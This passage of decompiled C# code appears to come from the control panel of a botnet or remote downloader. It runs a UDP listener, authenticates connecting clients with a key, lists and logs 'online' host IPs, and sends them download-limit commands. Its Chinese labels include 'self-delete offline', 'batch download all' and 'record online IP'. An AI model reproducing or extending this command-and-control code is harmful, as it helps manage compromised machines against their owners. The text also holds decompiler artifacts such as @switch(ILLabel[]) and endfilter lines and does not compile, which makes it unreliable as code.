  820.                         this.DelOffline.TabIndex = 8;
  821.                         this.DelOffline.Text = "自删离线";
  822.                         this.DelOffline.UseVisualStyleBackColor = true;
  823.                         this.Timer1.Interval = 30000;
  824.                         this.Button2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  825.                         Control arg_9A7_0 = this.Button2;
  826.                         location = new Point(562, 243);
  827.                         arg_9A7_0.Location = location;
  828.                         this.Button2.Name = "Button2";
  829.                         Control arg_9CF_0 = this.Button2;
  830.                         size = new Size(102, 23);
  831.                         arg_9CF_0.Size = size;
  832.                         this.Button2.TabIndex = 9;
  833.                         this.Button2.Text = "批量所有下载";
  834.                         this.Button2.UseVisualStyleBackColor = true;
  835.                         this.CheckBox1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  836.                         this.CheckBox1.AutoSize = true;
  837.                         Control arg_A2D_0 = this.CheckBox1;
  838.                         location = new Point(312, 247);
  839.                         arg_A2D_0.Location = location;
  840.                         this.CheckBox1.Name = "CheckBox1";
  841.                         Control arg_A55_0 = this.CheckBox1;
  842.                         size = new Size(72, 16);
  843.                         arg_A55_0.Size = size;
  844.                         this.CheckBox1.TabIndex = 10;
  845.                         this.CheckBox1.Text = "禁止下载";
  846.                         this.CheckBox1.UseVisualStyleBackColor = true;
  847.                         this.CheckBox2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  848.                         this.CheckBox2.AutoSize = true;
  849.                         Control arg_AB3_0 = this.CheckBox2;
  850.                         location = new Point(390, 247);
  851.                         arg_AB3_0.Location = location;
  852.                         this.CheckBox2.Name = "CheckBox2";
  853.                         Control arg_ADB_0 = this.CheckBox2;
  854.                         size = new Size(84, 16);
  855.                         arg_ADB_0.Size = size;
  856.                         this.CheckBox2.TabIndex = 11;
  857.                         this.CheckBox2.Text = "记录上线IP";
  858.                         this.CheckBox2.UseVisualStyleBackColor = true;
  859.                         SizeF autoScaleDimensions = new SizeF(6f, 12f);
  860.                         this.AutoScaleDimensions = autoScaleDimensions;
  861.                         this.AutoScaleMode = AutoScaleMode.Font;
  862.                         size = new Size(778, 276);
  863.                         this.ClientSize = size;
  864.                         this.Controls.Add(this.CheckBox1);
  865.                         this.Controls.Add(this.DelOffline);
  866.                         this.Controls.Add(this.CheckBox2);
  867.                         this.Controls.Add(this.PortText);
  868.                         this.Controls.Add(this.LoginKey);
  869.                         this.Controls.Add(this.PortBN);
  870.                         this.Controls.Add(this.Button2);
  871.                         this.Controls.Add(this.ListView1);
  872.                         this.Controls.Add(this.RichTextBox1);
  873.                         this.Controls.Add(this.Button1);
  874.                         this.Name = "Form1";
  875.                         this.StartPosition = FormStartPosition.CenterScreen;
  876.                         this.WindowState = FormWindowState.Maximized;
  877.                         this.ContextMenuStrip1.ResumeLayout(false);
  878.                         this.ResumeLayout(false);
  879.                         this.PerformLayout();
  880.                 }
  881.                 private void Form1_FormClosing(object sender, FormClosingEventArgs e)
  882.                 {
  883.                         try
  884.                         {
  885.                                 this.Listen(0);
  886.                         }
  887.                         catch (Exception expr_09)
  888.                         {
  889.                                 ProjectData.SetProjectError(expr_09);
  890.                                 Exception ex = expr_09;
  891.                                 Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
  892.                                 ProjectData.ClearProjectError();
  893.                         }
  894.                 }
  895.                 private void Form1_Load(object sender, EventArgs e)
  896.                 {
  897.                         this.Text = Application.ProductName + " " + Application.ProductVersion;
  898.                         this.AppPath = Strings.Mid(this.AppPath, 1, this.AppPath.LastIndexOf("\\"));
  899.                         this.PortBN.PerformClick();
  900.                 }
  901.                 private void PortText_Enter(object sender, EventArgs e)
  902.                 {
  903.                         this.PortText.SelectionStart = 0;
  904.                         this.PortText.SelectionLength = Strings.Len(this.PortText.Text);
  905.                 }
  906.                 private void PortText_KeyPress(object sender, KeyPressEventArgs e)
  907.                 {
  908.                         int num = Strings.Asc(e.KeyChar);
  909.                         if ((num < 48 | num > 59) & num != 8 & num != 13 & num != 44)
  910.                         {
  911.                                 e.Handled = true;
  912.                         }
  913.                         if (num == 13)
  914.                         {
  915.                                 this.PortBN.PerformClick();
  916.                         }
  917.                 }
  918.                 private void PortBN_Click(object sender, EventArgs e)
  919.                 {
  920.                         checked
  921.                         {
  922.                                 try
  923.                                 {
  924.                                         if (this.$STATIC$PortBN_Click$20211C1261$Status == 0)
  925.                                         {
  926.                                                 if (this.PortText.Text.IndexOf(",") != 0)
  927.                                                 {
  928.                                                         string[] array = this.PortText.Text.Split(new char[]
  929.                                                         {
  930.                                                                 ','
  931.                                                         });
  932.                                                         for (int i = 0; i < array.Length; i++)
  933.                                                         {
  934.                                                                 int num = Conversions.ToInteger(array[i]);
  935.                                                                 if (!Versioned.IsNumeric(num))
  936.                                                                 {
  937.                                                                         Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
  938.                                                                         return;
  939.                                                                 }
  940.                                                         }
  941.                                                 }
  942.                                                 else if (Conversions.ToDouble(this.PortText.Text) < 1.0 | Conversions.ToDouble(this.PortText.Text) > 65535.0)
  943.                                                 {
  944.                                                         Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
  945.                                                         return;
  946.                                                 }
  947.                                                 this.$STATIC$PortBN_Click$20211C1261$Status = 1;
  948.                                                 this.ListStatus = 1;
  949.                                                 this.Disdown = this.CheckBox1.Checked;
  950.                                                 this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
  951.                                                 this.PortBN.Text = "Stop";
  952.                                                 this.PortText.ReadOnly = true;
  953.                                                 this.Timer1.Enabled = true;
  954.                                         }
  955.                                         else
  956.                                         {
  957.                                                 this.$STATIC$PortBN_Click$20211C1261$Status = 0;
  958.                                                 this.ListStatus = 0;
  959.                                                 this.Disdown = this.CheckBox1.Checked;
  960.                                                 this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
  961.                                                 this.PortBN.Text = "Start";
  962.                                                 this.PortText.ReadOnly = false;
  963.                                                 this.Timer1.Enabled = false;
  964.                                                 this.ListView1.Items.Clear();
  965.                                                 this.RichTextBox1.Text = null;
  966.                                         }
  967.                                 }
  968.                                 catch (Exception expr_195)
  969.                                 {
  970.                                         ProjectData.SetProjectError(expr_195);
  971.                                         Exception ex = expr_195;
  972.                                         if (this.$STATIC$PortBN_Click$20211C1261$Status != 0)
  973.                                         {
  974.                                                 this.$STATIC$PortBN_Click$20211C1261$Status = 0;
  975.                                         }
  976.                                         else
  977.                                         {
  978.                                                 this.$STATIC$PortBN_Click$20211C1261$Status = 1;
  979.                                         }
  980.                                         Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
  981.                                         ProjectData.ClearProjectError();
  982.                                 }
  983.                         }
  984.                 }
  985.                 public void Listen(int Status)
  986.                 {
  987.                         int num2;
  988.                         int num3;
  989.                         try
  990.                         {
  991.                                 IL_00:
  992.                                 int num = 1;
  993.                                 if (Status == 0)
  994.                                 {
  995.                                         goto IL_71;
  996.                                 }
  997.                                 IL_09:
  998.                                 num = 2;
  999.                                 this.key = this.LoginKey.Text;
  1000.                                 IL_1D:
  1001.                                 num = 3;
  1002.                                 string text = this.PortText.Text;
  1003.                                 IL_2C:
  1004.                                 num = 4;
  1005.                                 if (Operators.CompareString(text, "", false) == 0)
  1006.                                 {
  1007.                                         goto IL_214;
  1008.                                 }
  1009.                                 IL_41:
  1010.                                 num = 5;
  1011.                                 this.$STATIC$Listen$20118$Listh = new Thread(delegate(object a0)
  1012.                                 {
  1013.                                         this.Listcp(Conversions.ToString(a0));
  1014.                                 }, 0);
  1015.                                 IL_5D:
  1016.                                 num = 6;
  1017.                                 this.$STATIC$Listen$20118$Listh.Start(text);
  1018.                                 IL_6C:
  1019.                                 goto IL_301;
  1020.                                 IL_71:
  1021.                                 num = 9;
  1022.                                 IL_75:
  1023.                                 ProjectData.ClearProjectError();
  1024.                                 num2 = 1;
  1025.                                 IL_7D:
  1026.                                 num = 11;
  1027.                                 if (!this.$STATIC$Listen$20118$Listh.IsAlive)
  1028.                                 {
  1029.                                         goto IL_9D;
  1030.                                 }
  1031.                                 IL_8E:
  1032.                                 num = 12;
  1033.                                 this.$STATIC$Listen$20118$Listh.Abort();
  1034.                                 IL_9D:
  1035.                                 num = 14;
  1036.                                 this.ClientAuth.Clear();
  1037.                                 IL_AC:
  1038.                                 num = 15;
  1039.                                 this.ClietnIP.Clear();
  1040.                                 IL_BB:
  1041.                                 num = 16;
  1042.                                 if (this.PortText.Text.IndexOf(",") == 0)
  1043.                                 {
  1044.                                         goto IL_19A;
  1045.                                 }
  1046.                                 IL_DC:
  1047.                                 num = 17;
  1048.                                 Dictionary<string, Socket>.ValueCollection.Enumerator enumerator = this.ClientSockets.Values.GetEnumerator();
  1049.                                 while (enumerator.MoveNext())
  1050.                                 {
  1051.                                         Socket current = enumerator.Current;
  1052.                                         IL_FB:
  1053.                                         num = 18;
  1054.                                         current.Shutdown(SocketShutdown.Both);
  1055.                                         IL_106:
  1056.                                         num = 19;
  1057.                                         current.Close();
  1058.                                         IL_110:
  1059.                                         num = 20;
  1060.                                 }
  1061.                                 ((IDisposable)enumerator).Dispose();
  1062.                                 IL_12A:
  1063.                                 num = 21;
  1064.                                 Dictionary<string, Thread>.ValueCollection.Enumerator enumerator2 = this.ClientThread.Values.GetEnumerator();
  1065.                                 while (enumerator2.MoveNext())
  1066.                                 {
  1067.                                         Thread current2 = enumerator2.Current;
  1068.                                         IL_14A:
  1069.                                         num = 22;
  1070.                                         if (current2.IsAlive)
  1071.                                         {
  1072.                                                 IL_156:
  1073.                                                 num = 23;
  1074.                                                 current2.Abort();
  1075.                                         }
  1076.                                         IL_160:
  1077.                                         num = 25;
  1078.                                 }
  1079.                                 ((IDisposable)enumerator2).Dispose();
  1080.                                 IL_17A:
  1081.                                 num = 26;
  1082.                                 this.ClientSockets.Clear();
  1083.                                 IL_189:
  1084.                                 num = 27;
  1085.                                 this.ClientThread.Clear();
  1086.                                 IL_198:
  1087.                                 goto IL_214;
  1088.                                 IL_19A:
  1089.                                 num = 29;
  1090.                                 IL_19E:
  1091.                                 num = 30;
  1092.                                 if (!this.dataThread[0].IsAlive)
  1093.                                 {
  1094.                                         goto IL_1C2;
  1095.                                 }
  1096.                                 IL_1B1:
  1097.                                 num = 31;
  1098.                                 this.dataThread[0].Abort();
  1099.                                 IL_1C2:
  1100.                                 num = 33;
  1101.                                 NewLateBinding.LateCall(this.Listener[0], null, "Shutdown", new object[]
  1102.                                 {
  1103.                                         SocketShutdown.Both
  1104.                                 }, null, null, null, true);
  1105.                                 IL_1F2:
  1106.                                 num = 34;
  1107.                                 NewLateBinding.LateCall(this.Listener[0], null, "Close", new object[0], null, null, null, true);
  1108.                                 IL_214:
  1109.                                 goto IL_301;
  1110.                                 IL_219:
  1111.                                 int arg_220_0 = num3 + 1;
  1112.                                 num3 = 0;
  1113.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_220_0);
  1114.                                 IL_2BD:
  1115.                                 goto IL_2F6;
  1116.                                 num3 = num;
  1117.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num2);
  1118.                                 IL_2D2:
  1119.                                 goto IL_2F6;
  1120.                         }
  1121.                         object arg_2D4_0;
  1122.                         endfilter(arg_2D4_0 is Exception & num2 != 0 & num3 == 0);
  1123.                         IL_2F6:
  1124.                         throw ProjectData.CreateProjectError(-2146828237);
  1125.                         IL_301:
  1126.                         if (num3 != 0)
  1127.                         {
  1128.                                 ProjectData.ClearProjectError();
  1129.                         }
  1130.                 }
  1131.                 public void Listcp(string Port)
  1132.                 {
  1133.                         checked
  1134.                         {
  1135.                                 try
  1136.                                 {
  1137.                                         if (Port.IndexOf(",") != 0)
  1138.                                         {
  1139.                                                 string[] array = Port.Split(new char[]
  1140.                                                 {
  1141.                                                         ','
  1142.                                                 });
  1143.                                                 for (int i = 0; i < array.Length; i++)
  1144.                                                 {
  1145.                                                         int num = Conversions.ToInteger(array[i]);
  1146.                                                         IPEndPoint localEP = new IPEndPoint(IPAddress.Any, num);
  1147.                                                         int num2;
  1148.                                                         Socket[] array2 = new Socket[num2 + 1];
  1149.                                                         array2[num2] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  1150.                                                         array2[num2].Bind(localEP);
  1151.                                                         this.ClientSockets.Add(Conversions.ToString(num), array2[num2]);
  1152.                                                         Thread[] array3 = new Thread[num2 + 1];
  1153.                                                         array3[num2] = new Thread(delegate(object a0)
  1154.                                                         {
  1155.                                                                 this.Recv((Socket)a0);
  1156.                                                         });
  1157.                                                         array3[num2].IsBackground = true;
  1158.                                                         array3[num2].Start(array2[num2]);
  1159.                                                         this.ClientThread.Add(Conversions.ToString(num), array3[num2]);
  1160.                                                         num2++;
  1161.                                                 }
  1162.                                         }
  1163.                                         else
  1164.                                         {
  1165.                                                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, Conversions.ToInteger(Port));
  1166.                                                 this.Listener[0] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  1167.                                                 object arg_13E_0 = this.Listener[0];
  1168.                                                 Type arg_13E_1 = null;
  1169.                                                 string arg_13E_2 = "Bind";
  1170.                                                 object[] array4 = new object[]
  1171.                                                 {
  1172.                                                         iPEndPoint
  1173.                                                 };
  1174.                                                 object[] arg_13E_3 = array4;
  1175.                                                 string[] arg_13E_4 = null;
  1176.                                                 Type[] arg_13E_5 = null;
  1177.                                                 bool[] array5 = new bool[]
  1178.                                                 {
  1179.                                                         true
  1180.                                                 };
  1181.                                                 NewLateBinding.LateCall(arg_13E_0, arg_13E_1, arg_13E_2, arg_13E_3, arg_13E_4, arg_13E_5, array5, true);
  1182.                                                 if (array5[0])
  1183.                                                 {
  1184.                                                         iPEndPoint = (IPEndPoint)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array4[0]), typeof(IPEndPoint));
  1185.                                                 }
  1186.                                                 this.ClientSockets.Add(Conversions.ToString(0), (Socket)this.Listener[0]);
  1187.                                                 this.dataThread[0] = new Thread(delegate(object a0)
  1188.                                                 {
  1189.                                                         this.Recv((Socket)a0);
  1190.                                                 });
  1191.                                                 this.dataThread[0].IsBackground = true;
  1192.                                                 this.dataThread[0].Start(RuntimeHelpers.GetObjectValue(this.Listener[0]));
  1193.                                         }
  1194.                                 }
  1195.                                 catch (Exception expr_1CB)
  1196.                                 {
  1197.                                         ProjectData.SetProjectError(expr_1CB);
  1198.                                         Exception ex = expr_1CB;
  1199.                                         Button VB$t_ref$S1 = this.PortBN;
  1200.                                         this.BeginInvoke(new EventHandler(delegate(object a0, EventArgs a1)
  1201.                                         {
  1202.                                                 VB$t_ref$S1.PerformClick();
  1203.                                         }));
  1204.                                         int num;
  1205.                                         Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, " 监听端口[ " + Conversions.ToString(num) + " ]失败!");
  1206.                                         ProjectData.ClearProjectError();
  1207.                                 }
  1208.                         }
  1209.                 }
  1210.                 public void Addhost(object sender, EventArgs e)
  1211.                 {
  1212.                         object arg_36_0 = this.ListView1.Items;
  1213.                         Type arg_36_1 = null;
  1214.                         string arg_36_2 = "Add";
  1215.                         object[] array = new object[]
  1216.                         {
  1217.                                 RuntimeHelpers.GetObjectValue(sender)
  1218.                         };
  1219.                         object[] arg_36_3 = array;
  1220.                         string[] arg_36_4 = null;
  1221.                         Type[] arg_36_5 = null;
  1222.                         bool[] array2 = new bool[]
  1223.                         {
  1224.                                 true
  1225.                         };
  1226.                         NewLateBinding.LateCall(arg_36_0, arg_36_1, arg_36_2, arg_36_3, arg_36_4, arg_36_5, array2, true);
  1227.                         if (array2[0])
  1228.                         {
  1229.                                 sender = RuntimeHelpers.GetObjectValue(array[0]);
  1230.                         }
  1231.                         this.upme();
  1232.                         if (this.CheckBox2.Checked)
  1233.                         {
  1234.                                 StreamWriter streamWriter = new StreamWriter(this.AppPath + "/Online " + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", true);
  1235.                                 ListViewItem listViewItem = (ListViewItem)sender;
  1236.                                 streamWriter.WriteLine(listViewItem.Text.Split(new char[]
  1237.                                 {
  1238.                                         ':'
  1239.                                 })[0]);
  1240.                                 streamWriter.Flush();
  1241.                                 streamWriter.Close();
  1242.                                 streamWriter.Dispose();
  1243.                         }
  1244.                 }
  1245.                 public void Delhost(object sender, EventArgs e)
  1246.                 {
  1247.                         string text = sender.ToString();
  1248.                         ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1249.                         if (listViewItem != null)
  1250.                         {
  1251.                                 this.ListView1.Items.RemoveByKey(text);
  1252.                         }
  1253.                 }
  1254.                 public void Uphost(object sender, EventArgs e)
  1255.                 {
  1256.                         string text = sender.ToString();
  1257.                         ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1258.                         if (listViewItem != null)
  1259.                         {
  1260.                                 listViewItem.BackColor = Color.LightYellow;
  1261.                                 listViewItem.SubItems[1].Text = Conversions.ToString(-1);
  1262.                         }
  1263.                 }
  1264.                 public void Uptime(object sender, EventArgs e)
  1265.                 {
  1266.                         string text = sender.ToString();
  1267.                         Color paleVioletRed;
  1268.                         if (text.IndexOf("|") > 0)
  1269.                         {
  1270.                                 string left = text.Split(new char[]
  1271.                                 {
  1272.                                         '|'
  1273.                                 })[0];
  1274.                                 if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
  1275.                                 {
  1276.                                         paleVioletRed = Color.PaleVioletRed;
  1277.                                 }
  1278.                                 text = text.Split(new char[]
  1279.                                 {
  1280.                                         '|'
  1281.                                 })[1];
  1282.                         }
  1283.                         ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1284.                         if (listViewItem != null)
  1285.                         {
  1286.                                 listViewItem.SubItems[3].Text = DateAndTime.Now.ToString();
  1287.                                 if (!paleVioletRed.IsEmpty)
  1288.                                 {
  1289.                                         listViewItem.BackColor = paleVioletRed;
  1290.                                 }
  1291.                         }
  1292.                 }
  1293.                 public void Recv(Socket obj)
  1294.                 {
  1295.                         int num;
  1296.                         int num4;
  1297.                         try
  1298.                         {
  1299.                                 IL_00:
  1300.                                 ProjectData.ClearProjectError();
  1301.                                 num = 1;
  1302.                                 IL_08:
  1303.                                 int num2 = 2;
  1304.                                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, 0);
  1305.                                 IL_17:
  1306.                                 num2 = 3;
  1307.                                 this.BeginInvoke(new EventHandler(this.showMsg), new object[]
  1308.                                 {
  1309.                                         "Recv Thread Start!"
  1310.                                 });
  1311.                                 IL_41:
  1312.                                 while (true)
  1313.                                 {
  1314.                                         IL_38B:
  1315.                                         num2 = 5;
  1316.                                         IL_46:
  1317.                                         num2 = 6;
  1318.                                         byte[] array = new byte[1025];
  1319.                                         IL_55:
  1320.                                         num2 = 7;
  1321.                                         byte[] arg_60_1 = array;
  1322.                                         EndPoint endPoint = iPEndPoint;
  1323.                                         int arg_6D_0 = obj.ReceiveFrom(arg_60_1, ref endPoint);
  1324.                                         iPEndPoint = (IPEndPoint)endPoint;
  1325.                                         int num3 = arg_6D_0;
  1326.                                         IL_6F:
  1327.                                         num2 = 8;
  1328.                                         string text = iPEndPoint.ToString().Split(new char[]
  1329.                                         {
  1330.                                                 ':'
  1331.                                         })[0];
  1332.                                         IL_90:
  1333.                                         num2 = 9;
  1334.                                         string text2 = iPEndPoint.ToString();
  1335.                                         IL_9B:
  1336.                                         num2 = 10;
  1337.                                         if (num3 > 0)
  1338.                                         {
  1339.                                                 IL_A7:
  1340.                                                 num2 = 11;
  1341.                                                 string text3 = Encoding.UTF8.GetString(array, 0, num3);
  1342.                                                 IL_BB:
  1343.                                                 num2 = 12;
  1344.                                                 bool flag = true;
  1345.                                                 IL_C2:
  1346.                                                 num2 = 15;
  1347.                                                 if (flag == this.ClientAuth.ContainsKey(text2))
  1348.                                                 {
  1349.                                                         IL_D9:
  1350.                                                         num2 = 16;
  1351.                                                         obj.SendTo(Encoding.UTF8.GetBytes("0K"), iPEndPoint);
  1352.                                                         IL_F4:
  1353.                                                         num2 = 17;
  1354.                                                         if (text3.IndexOf("|") > 0)
  1355.                                                         {
  1356.                                                                 IL_109:
  1357.                                                                 num2 = 18;
  1358.                                                                 string left = text3.Split(new char[]
  1359.                                                                 {
  1360.                                                                         '|'
  1361.                                                                 })[0];
  1362.                                                                 IL_127:
  1363.                                                                 num2 = 21;
  1364.                                                                 if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
  1365.                                                                 {
  1366.                                                                         IL_13F:
  1367.                                                                         num2 = 22;
  1368.                                                                         this.BeginInvoke(new EventHandler(this.showMsg), new object[]
  1369.                                                                         {
  1370.                                                                                 "到达最大下载次数 " + text2
  1371.                                                                         });
  1372.                                                                         IL_170:
  1373.                                                                         num2 = 23;
  1374.                                                                         this.BeginInvoke(new EventHandler(this.Uptime), new object[]
  1375.                                                                         {
  1376.                                                                                 "5|" + text2
  1377.                                                                         });
  1378.                                                                         IL_1A1:;
  1379.                                                                 }
  1380.                                                         }
  1381.                                                         else
  1382.                                                         {
  1383.                                                                 IL_1A6:
  1384.                                                                 num2 = 26;
  1385.                                                                 IL_1AA:
  1386.                                                                 num2 = 27;
  1387.                                                                 this.BeginInvoke(new EventHandler(this.Uptime), new object[]
  1388.                                                                 {
  1389.                                                                         text2
  1390.                                                                 });
  1391.                                                                 IL_1D1:;
  1392.                                                         }
  1393.                                                 }
  1394.                                                 else
  1395.                                                 {
  1396.                                                         IL_1D6:
  1397.                                                         num2 = 30;
  1398.                                                         if (flag == text3.IndexOf("|") > 0)
  1399.                                                         {
  1400.                                                                 IL_1EF:
  1401.                                                                 num2 = 31;
  1402.                                                                 if (Operators.CompareString(this.key, text3.Split(new char[]
  1403.                                                                 {
  1404.                                                                         '|'
  1405.                                                                 })[0], false) != 0)
  1406.                                                                 {
  1407.                                                                         IL_21A:;
  1408.                                                                 }
  1409.                                                                 else
  1410.                                                                 {
  1411.                                                                         IL_21F:
  1412.                                                                         num2 = 34;
  1413.                                                                         this.ClientAuth.Add(text2, true);
  1414.                                                                         IL_230:
  1415.                                                                         num2 = 35;
  1416.                                                                         this.ClietnIP.Add(text2, iPEndPoint);
  1417.                                                                         IL_241:
  1418.                                                                         num2 = 36;
  1419.                                                                         ListViewItem listViewItem = new ListViewItem();
  1420.                                                                         IL_24C:
  1421.                                                                         num2 = 37;
  1422.                                                                         listViewItem.Text = text2;
  1423.                                                                         IL_258:
  1424.                                                                         num2 = 38;
  1425.                                                                         listViewItem.Name = text2;
  1426.                                                                         IL_264:
  1427.                                                                         num2 = 39;
  1428.                                                                         listViewItem.SubItems.Add(Conversions.ToString(0));
  1429.                                                                         IL_27B:
  1430.                                                                         num2 = 40;
  1431.                                                                         listViewItem.SubItems.Add(DateAndTime.Now.ToString());
  1432.                                                                         IL_29A:
  1433.                                                                         num2 = 41;
  1434.                                                                         listViewItem.SubItems.Add(DateAndTime.Now.ToString());
  1435.                                                                         IL_2B9:
  1436.                                                                         num2 = 42;
  1437.                                                                         listViewItem.SubItems.Add(obj.LocalEndPoint.ToString().Split(new char[]
  1438.                                                                         {
  1439.                                                                                 ':'
  1440.                                                                         })[1]);
  1441.                                                                         IL_2EC:
  1442.                                                                         num2 = 43;
  1443.                                                                         listViewItem.SubItems.Add(text3.Split(new char[]
  1444.                                                                         {
  1445.                                                                                 '|'
  1446.                                                                         })[1]);
  1447.                                                                         IL_315:
  1448.                                                                         num2 = 44;
  1449.                                                                         this.BeginInvoke(new EventHandler(this.Addhost), new object[]
  1450.                                                                         {
  1451.                                                                                 listViewItem
  1452.                                                                         });
  1453.                                                                         IL_33D:
  1454.                                                                         num2 = 45;
  1455.                                                                         obj.SendTo(Encoding.UTF8.GetBytes("Auth"), iPEndPoint);
  1456.                                                                         IL_358:
  1457.                                                                         num2 = 46;
  1458.                                                                         if (this.Disdown)
  1459.                                                                         {
  1460.                                                                                 IL_364:
  1461.                                                                                 num2 = 47;
  1462.                                                                                 obj.SendTo(Encoding.UTF8.GetBytes("5|"), iPEndPoint);
  1463.                                                                                 IL_37F:;
  1464.                                                                         }
  1465.                                                                 }
  1466.                                                         }
  1467.                                                         else
  1468.                                                         {
  1469.                                                                 IL_381:
  1470.                                                                 num2 = 51;
  1471.                                                                 text3 = "Key Error";
  1472.                                                         }
  1473.                                                 }
  1474.                                         }
  1475.                                 }
  1476.                                 IL_393:
  1477.                                 goto IL_4C8;
  1478.                                 IL_398:
  1479.                                 int arg_39F_0 = num4 + 1;
  1480.                                 num4 = 0;
  1481.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_39F_0);
  1482.                                 IL_484:
  1483.                                 goto IL_4BD;
  1484.                                 num4 = num2;
  1485.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
  1486.                                 IL_499:
  1487.                                 goto IL_4BD;
  1488.                         }
  1489.                         object arg_49B_0;
  1490.                         endfilter(arg_49B_0 is Exception & num != 0 & num4 == 0);
  1491.                         IL_4BD:
  1492.                         throw ProjectData.CreateProjectError(-2146828237);
  1493.                         IL_4C8:
  1494.                         if (num4 != 0)
  1495.                         {
  1496.                                 ProjectData.ClearProjectError();
  1497.                         }
  1498.                 }
  1499.                 public void Msglog(string str)
  1500.                 {
  1501.                         this.RichTextBox1.Text = string.Concat(new string[]
  1502.                         {
  1503.                                 Conversions.ToString(DateAndTime.Now),
  1504.                                 "\t",
  1505.                                 str,
  1506.                                 "\r",
  1507.                                 this.RichTextBox1.Text
  1508.                         });
  1509.                 }
  1510.                 public void showMsg(object sender, EventArgs e)
  1511.                 {
  1512.                         this.RichTextBox1.Text = string.Concat(new string[]
  1513.                         {
  1514.                                 Conversions.ToString(DateAndTime.Now),
  1515.                                 "\t",
  1516.                                 sender.ToString(),
  1517.                                 "\r",
  1518.                                 this.RichTextBox1.Text
  1519.                         });
  1520.                 }
  1521.                 private void Button1_Click(object sender, EventArgs e)
  1522.                 {
  1523.                         checked
  1524.                         {
  1525.                                 if (this.ListView1.Items.Count > 0)
  1526.                                 {
  1527.                                         try
  1528.                                         {
  1529.                                                 string text = Interaction.InputBox("保存在线主机列表", "", this.AppPath + "/" + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", -1, -1);
  1530.                                                 if (!(Operators.CompareString(text, "", false) == 0 | text.IndexOf("|") > 0 | text.IndexOf(">") > 0 | text.IndexOf("<") > 0 | text.IndexOf("*") > 0))
  1531.                                                 {
  1532.                                                         StreamWriter streamWriter = new StreamWriter(text, false);
  1533.                                                         int num;
  1534.                                                         try
  1535.                                                         {
  1536.                                                                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1537.                                                                 while (enumerator.MoveNext())
  1538.                                                                 {
  1539.                                                                         ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1540.                                                                         if (listViewItem.BackColor != Color.LightYellow)
  1541.                                                                         {
  1542.                                                                                 streamWriter.WriteLine(listViewItem.Text.Split(new char[]
  1543.                                                                                 {
  1544.                                                                                         ':'
  1545.                                                                                 })[0]);
  1546.                                                                                 num++;
  1547.                                                                         }
  1548.                                                                 }
  1549.                                                         }
  1550.                                                         finally
  1551.                                                         {
  1552.                                                                 IEnumerator enumerator;
  1553.                                                                 if (enumerator is IDisposable)
  1554.                                                                 {
  1555.                                                                         (enumerator as IDisposable).Dispose();
  1556.                                                                 }
  1557.                                                         }
  1558.                                                         streamWriter.Flush();
  1559.                                                         streamWriter.Close();
  1560.                                                         streamWriter.Dispose();
  1561.                                                         Interaction.MsgBox("保存成功! " + Conversions.ToString(num) + " 个IP列表", MsgBoxStyle.OkOnly, null);
  1562.                                                 }
  1563.                                         }
  1564.                                         catch (Exception expr_166)
  1565.                                         {
  1566.                                                 ProjectData.SetProjectError(expr_166);
  1567.                                                 Exception ex = expr_166;
  1568.                                                 Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, "保存失败");
  1569.                                                 ProjectData.ClearProjectError();
  1570.                                         }
  1571.                                 }
  1572.                         }
  1573.                 }
  1574.                 private void ListView1_MouseUp(object sender, MouseEventArgs e)
  1575.                 {
  1576.                         if (e.Button == MouseButtons.Right & this.ListView1.SelectedItems.Count >= 1)
  1577.                         {
  1578.                                 this.ListView1.ContextMenuStrip = this.ContextMenuStrip1;
  1579.                         }
  1580.                         else
  1581.                         {
  1582.                                 this.ListView1.ContextMenuStrip = null;
  1583.                         }
  1584.                 }
  1585.                 private void DeleteRowsToolStripMenuItem_Click(object sender, EventArgs e)
  1586.                 {
  1587.                         int num;
  1588.                         int num3;
  1589.                         try
  1590.                         {
  1591.                                 IL_00:
  1592.                                 ProjectData.ClearProjectError();
  1593.                                 num = 1;
  1594.                                 IL_07:
  1595.                                 int num2 = 2;
  1596.                                 checked
  1597.                                 {
  1598.                                         for (int i = this.ListView1.SelectedItems.Count - 1; i >= 0; i += -1)
  1599.                                         {
  1600.                                                 IL_1E:
  1601.                                                 num2 = 3;
  1602.                                                 if (this.ListView1.SelectedItems[i].Selected)
  1603.                                                 {
  1604.                                                         IL_38:
  1605.                                                         num2 = 4;
  1606.                                                         this.ListView1.SelectedItems[i].Remove();
  1607.                                                 }
  1608.                                                 IL_50:
  1609.                                                 num2 = 6;
  1610.                                         }
  1611.                                         IL_5A:
  1612.                                         goto IL_C5;
  1613.                                         IL_5C:;
  1614.                                 }
  1615.                                 int arg_61_0 = num3 + 1;
  1616.                                 num3 = 0;
  1617.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_61_0);
  1618.                                 IL_86:
  1619.                                 goto IL_BA;
  1620.                                 num3 = num2;
  1621.                                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
